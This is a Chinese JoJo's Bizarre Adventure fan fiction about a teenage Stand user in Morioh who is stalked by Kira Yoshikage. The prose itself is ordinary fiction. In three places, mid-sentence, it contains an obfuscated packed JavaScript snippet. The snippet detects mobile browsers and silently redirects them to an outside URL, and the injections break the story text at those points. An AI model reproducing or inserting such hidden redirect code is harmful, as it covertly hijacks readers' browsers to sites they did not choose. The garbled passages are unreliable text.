《JOJO对所有不良诱惑说欢迎光临》 1. 灾难的1999 1999年简直可以被誉为本人17年人生里最多灾多难的一年。 首先是年初我的母亲们突发奇想,想要让我从东京转学到杜王町这个小镇,理由是: “亲爱的,我感觉你给自己的压力太大了,这可不好。一定是东京这里的学习压力太大了吧?要不我们转学吧!” 要不是因为我正处在升学年了,我真的会信阳莱开的玩笑哈哈哈。 但这个玩笑水平不怎么样,所以我只是看着电视里的搞笑艺人假装自己被逗笑了:“哈哈哈哈哈哈。” 然后在我以为母亲们是开玩笑的第二天,我就转学成功了,并且和母亲们一起抵达了杜王町。 等等?什么? 直到我的行李都被搬运工人搬进了新宅子里,我还在试图挣扎:“这也太快了吧?正常手续能这么快就办好吗?还有房子!你们是什么时候准备好房子的,一点预兆都没有哎!这到底……” 阳莱笑眯眯地说:“好的,乖宝贝,我们出发吧!你会喜欢杜王町的~” 显而易见,我的挣扎无效。 无论过程如何,结局就是我到了杜王町读书。 紧接着第二个灾难是我发现住在我家附近的有个同校的不良学弟背后会出现一个着装色彩奇怪的幽灵。 幽灵,我是见过的。 甚至我也有一个,只是长的没那么夸张。 我的幽灵长的点像瘦长鬼影,但它是白色的。它可以变化大小,还可以附身。第一次见到它的时候,我真以为我撞鬼了! 在我第十次忍不住盯着那个幽灵的时候,那个不良径直向我走过来。 他不走近还看不出来,一走近吓我一跳,他真的是男子高中生嘛!为什么平平无奇的制服穿在他身上就跟紧身衣一样,你们杜王町的不良难道有什么卡身材的需求吗。 不知道为什么,他虽然拥有危险迷人的身材,但是他的面庞却看上去很……谜之可爱,为什么感觉这个dk比我这个jk还要可爱啊。这不对吧? 他睁着一双亮晶晶的蓝色大眼睛,长而密的睫毛扑闪扑闪着,带着有些不好意思的笑容问:“你看得见我背后的这个吗?” 直觉告诉我这个时候应该无视他,或者像电视剧里那样说一句:“啊?你个疯子在说什么?真是无语。” 但是良好的素质(以及他长的有点好看)决定了我说出的话是: “你说的是那个蓝粉相间的奇怪的不知道穿没穿衣服的奇怪的肌肉人吗?” “啊……是的,不过它叫疯狂钻石啦,不是什么奇怪的东西。不过如果你能看见它的话,说明你也有?” 这个不良竟然没有因为我的话生气,这倒是让我有点意外了。难道他不是不良吗?可他这个跟个牛排一样的发型真的很不良唉。 于是我叫出我那个长的和鬼一样的替身:“它的名字是约旦河。” 俗话说的好,第三个灾难往往伴随着第二个灾难而来。 其实并没有这句俗话,这是我现编的。 没过多久,名为东方仗助的不良少年特别好心地告知我:这个东西叫做替身,我们是替身使者,并且这个杜王町还潜伏着一个替身使者,他的名字叫做片桐安十郎,人称安杰罗,是个罪大恶极的杀人犯。 替身似乎是一种精神能量。大概和超能力差不多吧。 啊这个无所谓。有超能力怎么了,我还认识一个叫齐木楠雄的超能力者呢,跟那位比起来,我这点超能力算啥。无人在意我是不是替身使者。 至于杀人犯嘛,不就是…… 等等,刚刚什么词经过了我的脑子? ……杀人犯? ?! 当天我一回到家里就问:“阳莱,直子。我们年中可不可以搬回东京呢?我还是觉得……” 直子:“唉?可你才刚刚认识了朋友吧?而且杜王町的生活很舒适吧,搬来这里后,蕾娜塔你头发都变茂密了不少。” 不提头发会不行吗,直子你这个嘴。 顺便一提,直子说的这个新朋友是东方仗助。 直子是怎么想的,我才不会和猛男做朋友。 哪怕他长着一张天使狗狗一样可爱的面庞那又怎么样,哪怕他每次都会露出一副纯正dk阳光开朗笑容跑过来跟我打招呼那又怎么样,哪怕每次他的睫毛扑闪扑闪一下我就心甘情愿请他吃冰淇淋那又怎么样…… 扯远了,总之!我和东方仗助不是朋友。 而且这个地方的生活一点也不慢悠悠啊!这里可是有杀人犯啊喂!杜王町怎么卧虎藏龙的?前有型男身材小狗狗一样可爱面庞的混混,后有不知道在哪里阴暗扭曲的变态杀人犯! 接下来该不会是组建一个超能力者小队一起追杀杀人犯守护小镇和平的剧情了吧?这真的是普通小镇而不是什么漫画原型吗! 虽然东京肯定也有杀人犯,但在东京那种人超多的大城市在遇到杀人犯的概率比这个小小的杜王町小的多吧?搞不好哪天我去买个面包就被盯上了。 当然,我只是这么吐槽,怎么可能有人不幸运到买个面包就被杀人犯盯上呢? 哈哈哈哈哈哈。 …… 结果还真的在买面包的时候被盯上了! 我再也不哈哈哈了。 你大爷的啊。已经第三个灾难了吧?再来一个就太不好了,事不过三啊。 那天我真的很无辜。但也很倒霉。 我先是在面包店帮一个普通上班族捡起了他掉在地上的戒指盒,我本来是想着做点好事,听说好事做多了,可以带来点好运。 结果在递给他戒指盒的时候,他非常刻意地摸了我的手一把?! 摸了我一把?! 日本人不是都很在意礼节吗?这一点也不合乎礼节吧!给我有点距离意识啊! 而且他还是个准备求婚的看上去三十岁左右的成年男性,我还是个未成年女子高中生呢?这不对吧。还没结婚就准备婚外遇了,我靠,渣男啊! 但本着“我得少惹点事”的想法,再加上他只是摸了摸我手也没干更过分的事,所以我只是翻了个白眼然后离开了面包店。 紧接着我就撞上杀人犯了。 哦,这倒霉的一天。 先是猥琐上班族,后是该死的杀人犯。我只是买个面包而已,我做错什么了! 这个臭名昭著的,据说和我同为替身使者的安杰罗,莫名其妙出现在我住的社区的小道上,又莫名其妙蹦出来说:“喂,把你手上的面包给我。” 我能够理解他肯定没钱没工作只能抢别人的东西,但是抢一个普通女子高中生明天的早餐是不是太过分了!而且这个普通女子高中生还是我,那就更可恶了! 于是我立刻叫出了我的替身:“约旦河!” 我的替身拥有传送的能力,可以在我的目视范围内进行传送,通过开启一扇门的方式。我在原地拉开一道门,与此同时我想要去往的目的地也会出现一道门,我只需要走进门内就可以实现传送了。我把这个能力取名为乌有之门。 其实很早以前我就很好奇了:如果我人过去一半,突然关门会怎么样。 因为我是个很爱惜自己同时也很遵纪守法富有道德感的人,所以我一直都没有合适的机会来实践一下。 正好今天我面前有了个合适人选! ** 结果很显而易见,人如果过去一半我就关门,人会断开。 但不是那种飙血式断开,是那种生命值没掉的断开。单纯人变成了两半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233702|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道可不可以拼回去……感觉不太可能。 还好我当时没作死自己去尝试,我可不想上半身和下半身各过各的。 “你这家伙!对我做了什么!” 安杰罗的头在我身后大声尖叫,我看了眼我面前的他的下半身,先踩了一脚,然后冲过去,捂住他的嘴:“安静!” 这个场景要是被人看到了,那我还要不要过日子啦?他是个通缉犯,人生已经走到了尽头,可我不一样啊,我还有着大好未来呢。 我花费了点力气,从我书里撕下来几张纸塞满他的嘴,他的声音才渐渐消失了。 正当我想松口气想该怎么解决安杰罗时,突然感觉耳边一阵强风掠过,一个蓝粉色拳头突兀地立在离我的脸颊仅一两厘米的地方。 是疯狂钻石? 我不可置信地回头:“东方仗助你疯了?你竟然想要揍我?” “不是!仗助是看到了那个男人的替身想要攻击你,才让疯狂钻石去阻止的!”东方仗助急忙解释,“还好没让他得逞……不过这是怎么回事?” “这家伙想杀我,所以我先下手为强了。” “他就是安杰罗?先等等,我要和承太郎先生打个电话。” 东方仗助说着寻找电话机去了,我一把拉住他,慷慨地把我的手机借给他:“你打吧,不过承太郎先生是谁?” “我……我的一个亲戚啦。他是告诉我替身的人,他很厉害哦。” ** 仗助的那个亲戚,空条承太郎。他厉不厉害先暂且不提,但是他真的好辣!这个身材也太劲爆了吧!哇塞哇塞。东方仗助你们家基因真是有点东西。 他是一个身形高大的男人,拥有非常让人难以置信的身材和俊朗的面庞,甚至连帽子里掉出来的微微卷曲的发丝都性感无比。他简直就是性感的代言人吧,那完美的头肩比和腰身……我很少拿可口去形容一个人,但是这个人真的有点可口了! 尽管他穿的很严实,但略微紧绷的衣服更显他浑身上下充满了一种莫名的色气感,他稍微有些眉压眼,配上他那双看死人都深情的双眼简直不得了!更不用说他那坚挺的鼻梁,性感的双唇…… 等等,这人怎么长的这么眼熟。 东方仗助看了看我,又看了看他亲戚:“承太郎先生,这是蕾娜塔……” “你姓什么?”空条承太郎打断了东方仗助的话,一把握住我伸出的手,和他看上去有些冷漠的外表不同,他传递过来的体温很温暖,我忍不住用大拇指摩挲了一下他的手掌…… 然后他立刻抽回手了,看上去好像有点不爽,但又碍于什么没有发作出来。 有点尴尬,但还好我脸皮厚,哈哈。 “我没姓氏,我是个孤儿,而收养我的人也不打算给我冠上姓氏。” 其实阳莱和直子有问过我需不需要冠上姓氏,我当时拒绝了,因为这样我写全名可以少写几个字。 听到我的话后,帽子下的那双眼睛闪过了一丝刺痛,还有……悲伤?他这么善良吗,就听到我是个孤儿就开始为我难过了。我们才刚认识一分钟吧! 我刚准备转移话题,就听到他说:“现在时间太晚了,你该回去了。把安杰罗交给我们吧。” ……我还想多和俊男说几句话呢。 虽然没能和东方仗助那个超级辣的亲戚多说几句话,看看他那张帅脸。但我得到了他的联系方式。 好耶! 我喜滋滋地走到了我家门口。在我把钥匙插进钥匙孔里时,我感到有一个阴冷的目光在注视着我,我忍不住往背后扫了一眼街道。 这条街上只有路灯是亮着的,没有被路灯所照耀到的地方一片漆黑,我没看见一个行人走在街道上…… 是错觉吗? 2. 坏鸟 今天早上醒来,我无论如何也找不到前一天买的面包。 因为阳莱和直子很少会早起做饭,请的保姆只会在早上九点后才来,他只负责午饭和晚饭,而我又是个厨房苦手。所以我一向习惯前一天晚上买点吐司和一盒纯牛奶,拿到第二天早上当早餐吃。 这是我的习惯。 我明明就把它放在了我的床头柜上,为什么会突然消失呢?总不可能是被小鸟给叼走了吧。 坏鸟! 在我实在找不到面包去哪后,我拿起牛奶盒,绕路去了一趟面包店。 最近真的有点奇怪。我只要在外面走,就总会感觉有人在偷偷盯着我。 起初我以为是我被害妄想症犯了。直到我走进了屋内,只要我在窗边,我就能感受到一股充满恶意的不寒而栗的感觉……我才感觉有些不对劲。 而且最近我总会莫名其妙掉东西。联想起来还真的有点可怕。 怎么有种我即将成为美国恐怖片女主角的既视感。 当我提着我的吐司袋离开面包店,朝学校走去时,一辆轿车缓缓停在了路边,车窗摇了下来,一道醇厚而温润的声音响起: “同学,你是葡萄丘高中的学生吗?你要迟到了。” 说话的是一个金发男人。他面庞有些瘦削,显得他五官较为立体,一双蓝黑色的眼睛仿佛一口深不可见的井,让人看不懂他在想什么,嘴角带着得体且标准的友善微笑,显然是个在社会摸爬打滚多年的社畜。 他穿着一身裁剪得当的蓝紫色西服,似乎是个名牌货或许还是手工定制,戴着花纹别致的领带,还别了个小巧精致的蛇形胸针,手腕上带着一块劳力士的石英手表…… 我抬起手腕想看看时间,却突然想起我的手表在前天也意外消失了。 最近真的有点倒霉了。 金发的男人似乎看出了我的难处,主动说:“还有十六分钟。上下楼也需要时间,这样你会迟到的,不介意的话,我可以送你一程,这样时间刚刚好。” 我没有拒绝他,拉开车门坐了上去:“多谢,先生。” 看到我想要伸出手去拉安全带,金发男人立刻制止我:“我来吧,这个安全带有些紧,不好拉动……如果你不介意的话。” 他依然噙着笑,我想他和我一样阅读过某本关于社交技巧的书,因为他笑的方式和书里描写的一模一样。 本来我还想学一学书里的那种笑容的,现在看来还是算了,笑得太假了。 我自然没有拒绝他。于是他微微侧身伸出手帮我拉上安全带。在他侧身的时候,我斜眼瞟见了那身面料质感很好的西服贴合着他的身躯,将他的腰线勾勒得淋漓尽致。 西服最棒的一点就是什么都没露却可以让人浮想联翩。 他的西服衬衫没有滑动,我想他或许穿了衬衫夹。果然是个合格的西装精英男啊。 按照一般套路,扣安全带是个占便宜的好时机。但他一点也没有碰到我的身体,只是一不小心碰到了我放在大腿上的手。 他的手很冰。我以为我的体温已经够低了,没想到还有更低的。 他的呼吸突然急促了一下,喉结上下滚动了一点,勾起嘴角:“抱歉,不小心碰到你了。” 我看着他缓缓收回他轻轻颤抖的手,才回答:“……没事。” 梳着一头一丝不苟的金发的男人在发动车时突然说了句:“我的名字是吉良吉影,在百货公司上班,过去也在葡萄丘高中读书。” “我叫蕾娜塔。” 其实我不想理他,但礼尚往来一下。 “你是才搬来这里的吗?” 我闻言才将目光从窗外的风景移过来,和内后视镜映出的他的眼相对视,我眯起眼睛,微微一笑:“吉良先生,你为什么会这样想?” 他率先挪开了目光,没有继续通过后内视镜来偷窥我了,随口解释了一句:“外国人面貌的人在杜王町很少见。你来自哪个国家?” “我来自意大利,但我是日籍,吉良先生。我才从东京搬来杜王町不久。因为我的妈妈们觉得东京的课业压力太大了。” 听着我的话,他的食指在方向盘上富有节奏地轻轻敲打着,我注意到他的指甲有点长了……不剪指甲的男人,扣一分外貌印象分! 他还是带着标准的社交性微笑:“东京啊……大城市确实会让人心浮气躁,徒增压力。但杜王町是个很平静和谐的小镇,让人可以摒弃一切焦躁的情绪,很宜居,不是吗?” 他是干房地产销售吗。 “或许吧。不过我只在这里住一年,我马上就要毕业了,毕业后我大概会去意大利留学。” “……”他沉默了一会,又问:“杜王町附近……乃至全日本,也有很多不错的院校呢,为什么要跑到意大利去,是因为想念故乡吗?” 这人是不是找不到话题硬要说话啊。 我摇摇头:“我对意大利没有特别的归属感。我只是看上了那里的美术院校和艺术氛围。日本挺不错的,不过呆久了我想去外面看看。” “美术生啊,我以前也认识了好些美术生,他们手上总是沾着颜料,碳灰,还长着茧子……不过你似乎没有这个情况。” “因为我很注重保养。” 他赞许地看了我一眼,有点莫名其妙,又继续问:“你在杜王町生活得还算愉快吗,有交到什么朋友吗?” “朋友大概有吧。不过搬来这里后我有点倒霉,我总觉得最近有一只坏鸟盯上我了,先是昨天我的手表突然不见了,今早我的面包又被鸟叼走了。” “……坏鸟?” “嗯,我感觉应该是同一只鸟。等我抓到是哪只鸟,我要把他炖了。” 看到窗外熟悉的景色,我转过头朝吉良吉影微微一笑,“到了。感谢吉良先生,多亏了您,我才可以按时抵达学校。真不知道下次还会不会那么巧地遇到像您一样的好心人呢。” 他扯出一个笑容:“不用谢,蕾娜塔。我可以这么叫你吧?” “当然了,吉良。”我回以微笑,拉开车门下车,目视着那辆车向远方驶去后,我才走进了校门,时间果然刚刚好。 不过…… 原来这个鳖孙叫吉良吉影啊。呵呵。 他以为我是脸盲就记不得他的脸吗?!这家伙不就是上周我在面包店碰到的那个莫名其妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233703|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏了把我手的奇怪家伙? 真是莫名其妙。我还以为他提出想要送我一程是想对我干点不好的事,我都做好把他蛋蛋踹爆造福社会的准备了,结果这家伙又只是摸了摸我的手。 莫名其妙。这家伙不会是那种只能靠意淫.女子高中生体验x生活,实际上早就养胃的人吧?还胆子很小的只敢摸了摸手。 怂得牛逼。 大早上的,真晦气。 ** 我和东方仗助不是同一年级,而且我放学后往往要去画室画到很晚才回家。所以平时我俩碰见机会不多但只要是能够碰上,东方仗助必定要拉着我讲一堆话。 这天,东方仗助向我介绍了他新交的朋友,虹村亿泰,也是个替身使者,还和我是差不多类型的。我们都算是空间型。 我看着这个和东方仗助身高差不多高的,长相和打扮也很不良的少年,友好地伸出手:“你好。” 然后他一开口,我就知道这家伙的本性了:他……有点呆啊。 “哦对,康一也变成了替身使者哦。”东方仗助像是突然想起般,跟我提了一嘴。 我反问:“康一是谁?” “广濑康一!我们前几天还一起走的!” 哦,那个白毛矮冬瓜,想起来了。 “还可以突然成为替身使者吗?我还以为这是天生的能力。”我在冰淇淋车那里顺手买了个冰淇淋,也请仗助和亿泰吃了。 亿泰笑嘻嘻地和仗助说我是个好人,主动回答我的问题:“他应该是被我老哥的箭射中了才变成替身使者的吧?……是这样的吧,仗助。” 我没听懂这个大聪明在说什么,看向东方仗助,于是东方仗助开始跟我解释。 虹村……先叫他大聪明。大聪明的哥哥从某处获得了一把拥有奇特力量的箭。这把箭可以筛选替身使者,射中的人如果不具备成为替身使者的资格就会死去,具有资格的人则成为替身使者。 大聪明的爸爸好像现在是一个不会死的非人形态,他哥哥想要找到能够让父亲死亡的替身能力,于是开始到处射箭想要找到拥有这种能力的替身使者,然后碰到了东方仗助…… 结局就是东方仗助打败了他哥,但那把箭被另外一个替身使者抢走了。那个替身使者的替身能力似乎和电有关,非常棘手。 好在东方仗助他们解决了那个替身使者,并顺利拿回了箭。皆大欢喜皆大欢喜啊! 看我听的津津有味,他又跟我说起了,他和他老爹一起捡到了一个会变透明的婴儿的事…… 东方仗助讲了一堆故事。虽然我只听了一半,听到一半我就开始发呆思考明天买点啥面包吃了,但我还是尽心尽力假装我在认真听他讲话。 他看着我一副“哇替身故事好有意思”还是忍不住警告我:“不过蕾娜塔你还是要小心,现在杜王町说不定会有一些我们不知道的,用心不良的替身使者。” 我吃完了最后的一点点甜筒提醒他:“仗助,你的冰淇淋化了。” “什么?!哦不!仗助的新鞋鞋!”他慌忙地蹲下去想要挽救那双沾上融化冰淇淋的鞋子。 哈哈,祝他挽救不成功。 3. 哦呼! 某个风和日丽的周末,我正拿着我的相机在公园拍点风景照,享受难得的独处时光。突然我背后响起了一个很吵听上去有点傻白甜的声音。 “啊!是蕾娜塔学姐!” 是仗助的朋友,叫什么来着,我又给忘了……总之先叫他矮冬瓜。 我淡淡地朝他挥了挥手,并附上了我一如既往的完美微笑。 虽然我表面笑嘻嘻,但其实我现在快要碎掉了。 因为我死活画不出我的作品集,没有作品集我怎么申请院校啊!我可不想再读一年!我要去意大利啊! 而且最近我总是会在各个地方一不小心就偶遇到那个名叫吉良吉影的晦气男,本来就因为画不出画而烦闷,看到他更烦了。 但即便是这样,我还是要露出一副和他一般虚伪的笑容跟他打招呼:“哦,吉良先生你好啊”“好巧啊又遇见吉良先生了”…… 呵呵,人生果然到处都是虚伪的社交,给我滚蛋啊! 这家伙出现的频率太高了,比东方仗助还要高!我就想问他到底想干嘛?想干嘛!我可不信两个人能够偶遇那么多回。这家伙不会是在跟踪我吧! 不过他看上去很像个虚伪的社会精英,应该还不至于跟踪人,大概只会在这么多次偶遇中脑补我是不是迷恋上他了。呵呵越想越恶心,不想了。烦。 矮冬瓜开口:“蕾娜塔学姐也是来这里写生吗?我听仗助说过,你以后要报考美术院校呢……” “喂,康一,你是来陪我的,为什么自顾自地和一个我不认识的女人说起话。”一个男的说话了。 怎么又是男的。 东方仗助,虹村亿泰,体育课卖弄自己的男同学,校门口的混混,面包店店员,吉良吉影,矮冬瓜……今天的含男量已经过……等等,不对。 我仔细一看发现大事不妙啊! 这个男的,身材也太顶了吧?而且他好像有这个自觉,所以穿搭也很显身材。 他穿的上衣不仅是露腰款还是破洞的,能看到胸肌的轮廓……他还搭配了专门做大的白色吊带裤。哇塞!那个露出来的把他小腹曲线,勾勒的可口至极的是内裤边吗?我以前觉得露出内裤边的穿搭很神经,但现在看来是因为我没有吃到过好的啊! 小腹处紧致诱人的肌肉简直就是男人的绝对领域啊! 他个子不算很高,和我差不多,不会给人压力感。他比例特别不错,头肩比适中,有一双修长的腿,手也特别好看,修长而有力,凸起的青筋也恰到其处的诱人…… 最重要的是!他的腰! 我的妈妈咪呀,特别细特别可口的腰啊,男人果然就应该拥有这样细的腰啊! 而且他的肌肉长的非常匀称,没有过于猛男,也没有过于弱气,在有力的同时又不失柔软度。 真是太哇塞了! 再看看他的脸……长的挺好看的,就是给人一种想要拿拳头重重触摸他脸的感觉呢,估计和气质有关吧。 我微笑着看向这个拥有可以让我“哦呼”的腰的男人:“你好。” 不知道他是谁。没印象,先叫他美腰男。 美腰男仔细打量了我一下,然后突然凑近绕着我转了几圈,站在非常不礼貌的社交距离以非常不礼貌的姿势用非常不礼貌的语气开口:“你不是日本人吧?也不是混血。你的五官看上去像欧洲那边的。” 我非常礼貌地开口:“我是意大利人,日籍。先生。” “露伴老师!这样太不礼貌了!”矮冬瓜一把拉开很哇塞的美腰男。 美腰男似乎意识到自己不太礼貌了,但没有任何道歉的想法,反而很直白地说:“康一,那个女人刚刚用饿狼一般的眼神打量我的时候,你怎么不说她不礼貌。” 哦,矮冬瓜叫康一啊……等等,什么叫饿狼一般的眼神? 我故作礼貌的笑着,实际上已经忍不住想要揍飞那个欠扁男了:“康一君,可以跟我介绍一下这位吗?” 康一啊了一声,马上站在我们两个中间:“露伴老师,这是蕾娜塔,她是仗助的朋友。蕾娜塔,他是岸边露伴,是……额也是替身使者。” “岸边露伴?!” “她也是替身使者!” 我们两个异口同声地大叫出来,因为分贝太高,逼得康一紧紧捂住他的耳朵。 不是吧?为什么这个神经质的美腰男竟然是那个岸边露伴,凭什么啊…… 算了,本来漫画家有奇奇怪怪癖好很正常,上帝打开了一扇窗总要关住一扇门嘛。而且他腰好哇塞啊,包容了。 我笑着朝岸边露伴伸出手:“你好,露伴老师。”我学康一这么称呼他,“我阅读过你的漫画,很优秀的作品。而且最近的剧情也越来越吸引人了。能看得出来老师的画工和文本功底都在变得越来越厉害呢。“” 我看的漫画不多来着,是因为岸边露伴才开始看的……我以前画画很慢(现在也不怎么样)偶然看到一次访谈说岸边露伴是史上唯一一个不会拖稿的漫画家,然后了解到了他惊人的画画速度和绘画能力后,出于好奇才去看的。 结果就这么一脚踏进了追漫画为漫画烧钱的路了!所以说,为了钱着想,千万不要看漫画啊! 岸边露伴这才露出一副肯定的笑容,比他刚刚那副不知天高地厚的模样顺眼多了,也显得他好看多了:“你倒是比东方仗助那小子有品位多了。” “那当然。” 是错觉吗?我怎么觉得岸边露伴不太喜欢仗助。 康一:“蕾娜塔也是来写生吗?我是被……陪露伴老师来这里写生的。” 这家伙一脸被威胁的样子呢。看来岸边不是个很亲和的人,额,不过和我没关系。 我拿起我的相机晃了晃:“我最近灵感枯竭,来拍点照片找点素材。” “唉!正好露伴老师也是来取景的。”康一看上去很开心。 该不会他下一秒就要说我们一起吧。 “我们一起吧!” 靠!真的说了!这是什么幼稚园手拉手一起去吃饭玩游戏式邀请啊啊 但我看了眼岸边露伴,感觉他似乎也不是不乐意,正好我也想仔细瞧瞧他的腰,就点点头:“好啊,那我们一起走走吧。” 我边拍照边回头看在一旁“刷刷”的岸边露伴,他的手速也太快了吧,忍不住问:“话说回来,露伴老师你是直接拿笔速写吗……” 他高冷地“嗯”了一声。 我立刻凑过去。 我靠,这个人怎么把我拍照的样子也一起速写进去了! 我忍不住握住他的画册仔细翻了几页,他竟然每过几页就会把我画进去,中间还夹带着点康一。明明他一直就在我俩身边啊,他速度怎么这么快! 岸边露伴一脸“算了我原谅你翻我速写集”的表情:“喂,我岸边露伴的画有这么好看吗?” 我也觉得直接翻人家的画册不太好啦,只是忍不住,我不敢相信这个世界上竟然真的有人画画这么快! “对啊,露伴老师,真的很好看呢。” 他哼了一声,嘟囔了句那是当然。然后突然似乎想到什么,他微微勾起嘴角,抬起手—— “不行!”康一突然大声说:“露伴老师!不可以!蕾娜塔不是敌人,不能随便看人家的隐私,而且她的替身很厉害,你会被揍……” 我警觉:“等等,什么看我的隐私?你刚刚是想干嘛?” 岸边露伴瘪瘪嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233704|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没有,我只是想让我的天堂之门看看你有没有危险或者什么……” 岸边露伴很随意地解释了几句话,然后就很无所谓地表示他不会看我的隐私了……倒是广濑康一,他非常紧张地替岸边露伴解释了好多句话,还让我千万不要生岸边露伴的气。 怎么感觉康一很怕我,不会是东方仗助给我塑造了什么奇怪的形象吧?不会吧。我不就在他面前打了个安杰罗吗。 听他俩的意思,岸边露伴的替身拥有可以查看一个人生平的能力。 我很好奇地问:“我做了什么让你想要这样吗?” 岸边露伴毫无负罪感地说:“只是觉得你身上一定有什么很不得了的故事。” 不得不说,他真任性啊。 但他的能力挺不错的。 而且我身上确实有秘密。是关于我的替身【约旦河】的。 我第一次知道约旦河的存在,是在一次意外。 小时候我偷偷溜出孤儿院去河边玩耍,一不下心从桥上掉进了河里,水里的垃圾缠住了我的脚,我死活也挣脱不出来。 我因为不停的挣扎耗尽了力气也失去了意识……正当我以为我将溺死在六岁的夏天时,约旦河出现了。 我记得约旦河对我说的第一句话,它说:“我叫约旦河,我可以让你拥有足以改变世界的强大力量。” 后面仗助告诉我,替身能力好像和人的精神能量有关…… 我的精神原来这么中二病吗? 在河底遇见约旦河到我在医院苏醒的中间,我做了一个盛大的梦。 那个梦很长,我在那个梦里度过了十七年的时光。梦里我似乎拥有两个兄弟,而他们中的一个,是一个不怎么好的家伙……不知道为什么,他莫名其妙成了吸血鬼,然后另一个则成为了不可思议的超能力者? 具体得很难说,反正那真的是一个奇怪的不能再奇怪的梦了。 总之在他们两个都葬身海底后,我的梦就醒了。 我醒来之后哭了好久,因为比起我短短的我本以为很无趣的六年人生,那个似乎有十七年长的梦更加真实…… 约旦河是看着我在医院哭的,但它只说:“这是他们的命运。” 哪怕当时它就依附在我身上,看着他们一起葬身火海,它也只会说:一切都是命运。 我问过约旦河能不能消失,它一声不吭。 只有在我需要使用能力时,它才会像个鬼一样悄悄告诉我如何去使用,它还会让我不要顾及是否会死人,一切都是命中注定…… 我讨厌约旦河很大一部分原因就是因为它太喜欢说命运了。 而我最讨厌的就是“命运”这个词。 ** 我对岸边露伴的替身能力感到很好奇,问他:“你可以详细说明一下吗” 岸边露伴“啧”了一声,但在康一左右为难的表情里下,还是解释了他的替身[天堂之门]的能力。 还是那句话,这个能力很好用。 在见到东方仗助第一次使用他的替身时,我就感觉到了疯狂钻石和约旦河之间的显著差别。 这是难以用语言去形容的怪异,只有我能够知道体会到约旦河的不同……我难以对约旦河产生信任可言,也不相信它只是一个普通替身。 或许,岸边露伴的天堂之门可以帮我找到答案。 我故作迟疑:“唔,如果岸边老师你想看的话,我也可以考虑考虑啦,我很好奇你能看到什么。” “说什么呢,我没有很想看,不过是下意识的动作。”岸边露伴一脸“我才不会听你话”的表情。 呵,我才不管他怎么想的。我需要他帮我看的时候,他必须得帮我看看。 4. 宁静的小镇 我最喜欢的那家面包店每天都会现烤百来份三明治,采用传统的石窟精心烤制,配上别具风味的酱料与独家腌制的火腿,夹着多汁的番茄和爽脆的蔬菜,口感层次丰富,是我这十几年人生中吃过的最美味的三明治。 这个三明治唯一的缺点就是经常卖断货。 但或许这也是它的卖点吧。人们总会追求稀少的东西,需要去争抢的东西。 我失望地离开面包店,又只带走了一袋吐司。 而更惨烈的是现在突然下雨了。我正打算去收银台问店员店内能不能卖给我一把多余的伞,一个让我心肝抖了抖的声音在我身后响起。 “蕾娜塔,好久不见。” 一双冰凉的手抓住了我的手,我不需要看,只需要感受到这个体温,我就知道是谁。 是吉良吉影。 距离我们上次见面过去了一周。而上次见面并不愉快,因为我很直白地告诉他,我并不喜欢他故意制造的偶遇,对他没有任何兴趣,希望他减少出现在我家附近的频率,不要再在窗口视奸我了。 我知道那个视奸我的人是他的时候,我怀疑过他是不是替身使者。 但在约旦河的拳头离他只有几厘米的情况下,他依然没有任何眼神变化,就说明了他不是替身使者,只是我多疑了。 吉良吉影没有问我是如何知道他在视奸我的,他只是一如既往地露出一副得体的微笑:“我想你误会了,女孩,你应该学会怎么说话。” 他说这话时,我感觉我的脑子在不断向我发出警告,让我远离这个男人。 我的直觉告诉我不要再和他扯上关系了,于是那时我直接离开了。 但现在,他左手撑着一把伞,右上提着我没有买到的三明治,站在店门口:“怎么,蕾娜塔,现在下雨了,你还赶着去画室画画吧。” 我没有问他是如何知道我现在要去画室画画的,我从未告诉过他我去画室画画的时间。 我只是走了过去,站在了他撑起的伞下,笑了笑,透过他那双蓝黑色的眼睛,我能够看到我的脸上挂着和他如出一辙的笑容。 我说:“多谢了吉良,你总是这么及时。” 我没有带着他往我画室的方向走,但他却仿佛知道我要去哪一样,大步向前走着。 你大爷的死变态。我就知道之前我背后那个若有若无的视线来自你。我发出冷笑声。 他听见了,但嘴角依然噙着笑:“我看到你没有买到这份三明治,我记得你的习惯是每周要吃三次这个三明治对吧?拿去吧。”他说着递给我那个纸袋。 他该不会以为我会很感动吧?我只觉得我鸡皮疙瘩要掉一地了,我一点也不觉得“哇塞有人发现我的小习惯了,他好关心我哦”,我只知道: 这个鳖孙果然之前视奸了我很久。 他到底想干嘛。这么长时间来,我丢的都是一些可有可无的东西,丝质手套,手表,面包,手链,指甲油……他一不偷我的内衣内裤,二不偷我的钱财。 那他到底想干嘛,单纯看我日子过得太开心想恶心我一下吗。 